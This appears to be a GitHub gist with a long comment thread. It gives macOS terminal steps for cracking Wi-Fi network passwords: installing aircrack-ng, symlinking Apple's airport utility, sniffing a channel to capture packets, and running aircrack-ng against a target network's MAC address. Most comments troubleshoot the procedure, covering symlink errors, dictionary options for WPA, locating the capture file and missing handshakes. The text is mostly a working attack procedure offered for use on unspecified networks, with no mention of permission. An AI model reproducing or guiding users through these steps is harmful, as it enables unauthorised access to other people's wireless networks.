//Install Macports. | |
//Install aircrack-ng: | |
sudo port install aircrack-ng | |
//Install the latest Xcode, with the Command Line Tools. | |
//Create the following symlink: | |
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport | |
//Figure out which channel you need to sniff: | |
sudo airport -s | |
sudo airport en1 sniff [CHANNEL] | |
//New Terminal Window | |
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE] | |
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap. |
This comment has been minimized.
This comment has been minimized.
rafahigueros
commented
Jan 27, 2017
will this actually work with WPA networks? "-a 1" specifies for WEP, and WAP cracking requires dictionaries (-w option) |
This comment has been minimized.
This comment has been minimized.
qfq8wf77qwf8
commented
Apr 2, 2017
What if you installed via brew? |
This comment has been minimized.
This comment has been minimized.
jwsi
commented
Apr 17, 2017
brew install aircrack-ng |
This comment has been minimized.
This comment has been minimized.
immysam
commented
Jun 28, 2017
i didn't got access after step 10 i.e. 11 ,12 and 13 are not applicable |
This comment has been minimized.
This comment has been minimized.
immysam
commented
Jun 28, 2017
help me pls anybody???? |
This comment has been minimized.
This comment has been minimized.
ldelcampof
commented
Jul 15, 2017
this commands help me @immysam export PATH=$PATH:/opt/local/bin |
This comment has been minimized.
This comment has been minimized.
mfd
commented
Jul 25, 2017
@immysam check your network interface |
This comment has been minimized.
This comment has been minimized.
sonu628
commented
Jul 30, 2017
I am getting this
Please specify a dictionary (option -w).` |
This comment has been minimized.
This comment has been minimized.
simplenotezy
commented
Oct 1, 2017
Running |
This comment has been minimized.
This comment has been minimized.
unix-root
commented
Oct 10, 2017
^ +1 |
This comment has been minimized.
This comment has been minimized.
Emixam23
commented
Oct 17, 2017
Why does it display the commands? I'm not sure to understand |
This comment has been minimized.
This comment has been minimized.
Emixam23
commented
Oct 18, 2017
Guys maybe it's because de paramaters aren't correct? |
This comment has been minimized.
This comment has been minimized.
Emixam23
commented
Oct 18, 2017
So stupid, I found why it happens. Based on [THIS LINK], it seems like
Hopefully it helps ! |
This comment has been minimized.
This comment has been minimized.
Gaaal
commented
Oct 21, 2017
How do I add a dictionary? Is Jack the Ripper good enough? |
This comment has been minimized.
This comment has been minimized.
cyberfunk
commented
Oct 21, 2017
Hello how do I sniff with airport and use aircrack-ng using an Alfa AWUS036AC USB 3.0 adapter on a MacBook Pro? When I type ifconfig in Terminal my USB wifi adapter doesn't show up. |
This comment has been minimized.
This comment has been minimized.
hanhmr
commented
Oct 30, 2017
Dear admin, How to see CAP_FILE? I have try to understand noted: the cap_file will be located in the /tmp/airportSniff*.cap. but don't know how to see them, pls help! Thanks a lot (aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE] |
This comment has been minimized.
This comment has been minimized.
VhaTer
commented
Dec 3, 2017
•
-i got a macbook air and guess i ask my self same thing how to do kali stuff natively on macos why im here perhaps you already find this |
This comment has been minimized.
This comment has been minimized.
RahulDhiman93
commented
Dec 14, 2017
•
symlink is not working |
This comment has been minimized.
This comment has been minimized.
psyycopatart
commented
Jan 7, 2018
It say : No valid WPA handshakes found. |
This comment has been minimized.
This comment has been minimized.
jpacora
commented
Jan 28, 2018
The command will be: sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport |
This comment has been minimized.
This comment has been minimized.
MrPeker
commented
Feb 1, 2018
airport command not found :/ |
This comment has been minimized.
This comment has been minimized.
chezis45
commented
Feb 9, 2018
•
sudo su - Worked for me when I got airport command not found and operation not possible. |
This comment has been minimized.
This comment has been minimized.
weltmoasta
commented
Feb 19, 2018
i cant find the Cap_File because i have no folder like tmp. can anyone help me pls? |
This comment has been minimized.
This comment has been minimized.
char543
commented
Feb 21, 2018
@weltmoasta navigate to /tmp in finder |
This comment has been minimized.
This comment has been minimized.
char543
commented
Feb 21, 2018
also make sure youre typing .cap and not .cap. (the extra dot is what threw me) |
This comment has been minimized.
This comment has been minimized.
AramSemerjyan
commented
Mar 27, 2018
•
Mac has built in sniffer for getting handshakes, why airport is needed for that? Also I'm wondering is the aircrack mechanism based on getting handshakes and after try to recover password from hccapx with hashcat? |
This comment has been minimized.
This comment has been minimized.
iamsoorajsingh
commented
May 11, 2018
command not found |
This comment has been minimized.
This comment has been minimized.
chovy
commented
Jul 21, 2018
what is the target mac address? |
This comment has been minimized.
This comment has been minimized.
Eastkap
commented
Aug 12, 2018
mac address is the same as bssid @chovy |
This comment has been minimized.
This comment has been minimized.
Tetsu51718
commented
Oct 8, 2018
can"t find [CAP_FILE] |
This comment has been minimized.
This comment has been minimized.
Tetsu51718
commented
Oct 8, 2018
$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport what should do,, pls |
This comment has been minimized.
This comment has been minimized.
DamonOnYT
commented
Nov 18, 2018
•
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport says "ln: /usr/sbin/airport: Operation not permitted" |
This comment has been minimized.
This comment has been minimized.
DamonOnYT
commented
Nov 18, 2018
quick google solved it for anyone w/ the same issue the command is sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport |
This comment has been minimized.
This comment has been minimized.
mzychinav
commented
Nov 23, 2018
MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution? |
This comment has been minimized.
This comment has been minimized.
madmike121989
commented
Dec 21, 2018
|
This comment has been minimized.
This comment has been minimized.
fungmen
commented
Jan 9, 2019
more easy when i'm installing kali on macbook air, i can scan and crack the handshake more faster beside debugging the OSX ^_^! |
This comment has been minimized.
This comment has been minimized.
mikediachenko
commented
Mar 23, 2019
The same stuff. |
This comment has been minimized.
This comment has been minimized.
SeunghunSunmoonLee
commented
Aug 8, 2019
•
First attempt failed. Second attempt failed |
This comment has been minimized.
jQrgen commentedJan 12, 2017
Change symling to:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ref: http://stackoverflow.com/questions/33223457/mac-osx-el-capitan-airport-sym-link-not-permitted